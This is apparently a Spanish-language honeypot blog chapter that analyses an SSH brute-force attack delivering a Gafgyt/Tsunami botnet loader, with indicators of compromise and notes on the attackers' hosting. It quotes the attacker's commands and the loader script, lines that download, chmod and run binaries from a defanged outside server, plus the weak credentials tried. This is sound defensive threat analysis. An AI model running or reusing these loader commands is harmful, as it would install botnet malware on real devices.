ES EN
Índice

KHserver · Capítulo 11

El bot presumido y vago

Cayó un cargador de 1.177 bytes: nueve líneas de wget, una por arquitectura, del estilo que ya he abierto tres veces en este blog. Iba a archivarlo como reincidencia y seguir con lo mío. Lo abrí igualmente, por costumbre — y lo primero que vi fue que le sobraban unos caracteres.

El vigía saltó con un fichero de 1.177 bytes. Un script de shell. Nueve líneas de wget, una por arquitectura, del estilo que ya he abierto tres veces en este blog.

Iba a etiquetarlo como reincidencia y seguir con lo mío. Lo abrí igualmente, por costumbre. Y lo primero que vi fue que a este le sobraban unos caracteres.

01Cinco visitas en un minuto

No vino una vez: vino cinco, desde la misma dirección, en sesenta segundos, probando una contraseña distinta cada vez. Como quien prueba el llavero entero en la misma cerradura.

  1. 0 sEntra con root / root. Descarga y se va.
  2. 1 sVuelve con root / password. Esta vez remata con echo PAYLOAD_EXECUTED.
  3. 2 sOtra, root / 123456.
  4. 4 sY otra, user / user.
  5. 55 sY la quinta, root / 123123.

Las cinco teclean exactamente lo mismo:

lo que ejecuta, cinco veces seguidas
cd /tmp 2>/dev/null || cd /run 2>/dev/null || cd /
wget hxxp://213.232.114[.]14/handshakebins.sh
busybox wget hxxp://213.232.114[.]14/handshakebins.sh

Ese busybox wget de refuerzo es la marca de la casa en el mundo de los cacharros: en un router o una cámara muchas veces no hay un wget de verdad, sino la navaja suiza de BusyBox. Prueba las dos por si acaso.

Ese PAYLOAD_EXECUTED no es para míEs una baliza: una palabra que el atacante imprime para que su propio orquestador, al leer la salida de la sesión, sepa que la máquina picó. Cada familia tiene la suya. RedTail escribía redtail_bot_telnet_ok; Sysorbit mandaba un token de registro. Este dice, sin adornos, «payload ejecutado».

02Nueve descargas y un error de bulto

El script que se baja trae nueve intentos, uno por arquitectura, con los nombres puestos a mano:

handshakebins.sh · 1.177 B
-e #!/bin/bash
-e cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://213.232.114[.]14/MIPS;   chmod +x MIPS;   ./MIPS;   rm -rf MIPS
-e cd /tmp || ... wget hxxp://213.232.114[.]14/MIPSEL;  chmod +x MIPSEL;  ./MIPSEL;  rm -rf MIPSEL
-e cd /tmp || ... wget hxxp://213.232.114[.]14/SH4;     ...
-e cd /tmp || ... wget hxxp://213.232.114[.]14/X86_64;  ...
-e cd /tmp || ... wget hxxp://213.232.114[.]14/ARMV6L;  ...
-e ... y así con I686 · I586 · M68K · ARMV4L

La estrategia es de fuerza bruta: dispara las nueve y que arranque la que pueda. Un aparato MIPS ignorará las otras ocho y ejecutará la suya.

Pero fíjate en el principio de cada línea. Esos -e no deberían estar ahí. Salen de haber generado el fichero con un echo -e en una shell donde ese parámetro no existe: en vez de interpretarlo, lo escribió dentro. El script funciona igual —bash intenta ejecutar una orden llamada -e, falla, y sigue con el resto de la línea— pero es la primera huella de alguien con prisa y sin revisar.

La segunda huella es bastante peor.

03Los nueve nombres mienten

Me bajé tres de los nueve binarios y, antes de mirar nada más, le pregunté al sistema qué eran. Es lo primero que hago siempre, y cuesta un segundo:

file *.bin
X86_64.bin:  ELF 32-bit LSB executable, ARM, EABI4
MIPS.bin:    ELF 32-bit LSB executable, ARM
ARMV4L.bin:  ELF 32-bit LSB executable, Renesas SH

El que se llama X86_64 es ARM. El que se llama MIPS es ARM. El que se llama ARMV4L es un Renesas SH. Ninguno de los tres es lo que dice ser.

Esto no es un detalle estéticoEl cargador dispara las nueve descargas a ciegas y confía en que solo la correcta arranque. Si los nombres no corresponden, los ordenadores x86 no se infectan nunca: se bajan un binario ARM que su procesador no entiende, y ahí acaba la historia. Quien montó ese servidor subió los ficheros cruzados y está perdiendo víctimas sin enterarse.

Y es un fallo que no da la cara: la campaña sigue funcionando en los cacharros ARM, que son mayoría. Nadie va a reclamar.

Compáralo con el XorDDoS del Capítulo 1, otra familia y otro mundo: aquel le mandaba uname -m a su propio servidor para que le devolviera exactamente el binario que tocaba, y de paso renombraba wget a good y curl a cool, de forma que ninguna botnet rival pudiera descargar nada en esa máquina después. Ahí había oficio. Aquí hay prisa.

04Dos direcciones, dos mundos

En este ataque hay dos servidores distintos, y no se parecen en nada.

El que entra45.135.194.26, alojado en Alemania— está quemadísimo: 463 denuncias de 280 usuarios distintos en AbuseIPDB, y catorce motores de VirusTotal lo dan por malicioso. Es una dirección de usar y tirar, y su trabajo es exponerse.

El que sirve el payload213.232.114[.]14, en los Países Bajos— estaba, cuando lo miré, impoluto: cero detecciones, una sola denuncia, desconocido para abuse.ch.

El reparto tiene lógicaLa IP que hace el ruido (escanear medio internet a golpe de root/root) se llena de denuncias en días y acaba en todas las listas negras. La que guarda la mercancía solo la visitan las víctimas que ya han picado, así que casi nadie la ve y casi nadie la denuncia. Queman una y protegen la otra.

Curiosidad: el rango de la primera está registrado al mismo titular que el del centro de mando de Sysorbit, cuatro capítulos atrás. Estos negocios se concentran en muy pocos sitios.

Y ese «el mismo» merece una precisión, porque cuando lo escribí lo dejé demasiado redondo. En los registros de internet hay dos cosas distintas que es fácil confundir: a nombre de quién está un rango de direcciones, y quién lo anuncia al resto de la red. No tienen por qué ser el mismo.

RangoA nombre deLo anuncia
45.135.194.0/24 — el que me atacóPFCLOUD-NETAS51396 · Pfcloud UG
176.65.139.0/24 — el C2 de SysorbitPFCLOUD-NETAS219502 · Storm Industries LLC

Los dos rangos están a nombre del mismo titular. Pero el de Sysorbit no lo anuncia él: lo saca a la red otra empresa distinta. Así que lo que comparten los dos casos no es exactamente «el proveedor»: es el dueño del espacio de direcciones, con dos caminos distintos hasta internet.

Puede parecer una pejiguería, y no lo es: si alguien intenta seguir este rastro y busca por la ASN, en un caso encuentra Pfcloud y en el otro no encuentra nada. Hay que saber por cuál de las dos cosas se está preguntando.

05Lo que dicen los antivirus (y lo que no dicen)

Con los hashes en la mano fui a mirar qué se sabía ya. El script lo tenía VirusTotal desde ese mismo día, 31 de 75 motores, y ya estaba subido antes de que me tocara a mí. Uno de los binarios también estaba, con 33 de 75 y una etiqueta:

veredicto de la industria
trojan.gafgyt/tsunami     ·     etiquetas: gafgyt · tsunami · ddos

«Gafgyt/Tsunami, DDoS». Traducido: una botnet de denegación de servicio de la familia de siempre. Y ahí, normalmente, se acaba el asunto: la muestra queda archivada con su etiqueta y nadie vuelve a mirarla.

Pero una etiqueta no es un análisis. No dice a quién obedece, ni qué sabe hacer, ni para qué la usa quien la paga. Dice a qué se parece.

Así que me llevé el binario al laboratorio. Y resultó estar sin limpiar: el autor se dejó dentro los nombres de sus propias funciones — seiscientas veintiocho. Eso ya no es leer ensamblador a ciegas; eso es que te dejen el índice del libro.

Lo que ponía en ese índice es el próximo capítulo. Adelanto una sola: entre las funciones hay una que se llama fortnite_flood.

06Indicadores (IOCs)

TipoValor
SHA-256 del cargadorf7134ec664ca003c740337cf7b2fbba1162430d86ca1d7a2b5c14fe0463d261b
Nombre del ficherohandshakebins.sh (1.177 B) · VT 31/75, primera subida 2026-08-25 11:20 UTC
SHA-256 binario (Renesas SH)b297dc8f54f612f92c26735ab50e1360057df3909556d85e6439e695aa646148 — VT 33/75, gafgyt/tsunami
SHA-256 binario (ARM)0658e79b91e732723b540ee7040eb0289c497f781d750e42b25dfcf10d233f50
SHA-256 binario (ARM EABI4)5a21c34ff54ab1a92246b9cfba815ed187fe636b9350d41e26c5e4aa8f4bf891
Servidor de payload213.232.114.14 (VirMach / xTom, AS3214) · nueve binarios por arquitectura, con los nombres cruzados
IP que atacó45.135.194.26 (Pfcloud UG, AS51396) — 463 denuncias en AbuseIPDB
Balizaecho PAYLOAD_EXECUTED
Credenciales probadasroot/root · root/password · root/123456 · root/123123 · user/user
Vía de entradaSSH · puerto 22 · fuerza bruta
Diecisiete días despuésEl reparto de papeles que cuenta el §04 —una IP que se quema y otra que sobrevive— se puede medir. Volví a mirar las tres el 11 de septiembre:

· 45.135.194.26, la que ataca: de 463 denuncias a 855, y de 280 usuarios distintos a 429. Sigue trabajando, y quemándose.
· 213.232.114.14, la del reparto, la «impoluta»: de 1 denuncia a 10, la última de ese mismo día. Empieza a arder, tres semanas después.
· 45.95.168.149, el centro de mando de verdad: cero denuncias, igual que el primer día. Lo único que ha subido es el marcador de VirusTotal, de 6 a 13.

La pieza que nadie ve sigue sin verse. Y esa es exactamente la tesis del capítulo, ahora con reloj.

Continuará — en el Capítulo 12 abro el binario. Venía sin limpiar, con los nombres de sus seiscientas veintiocho funciones puestos. 🍯

Comentarios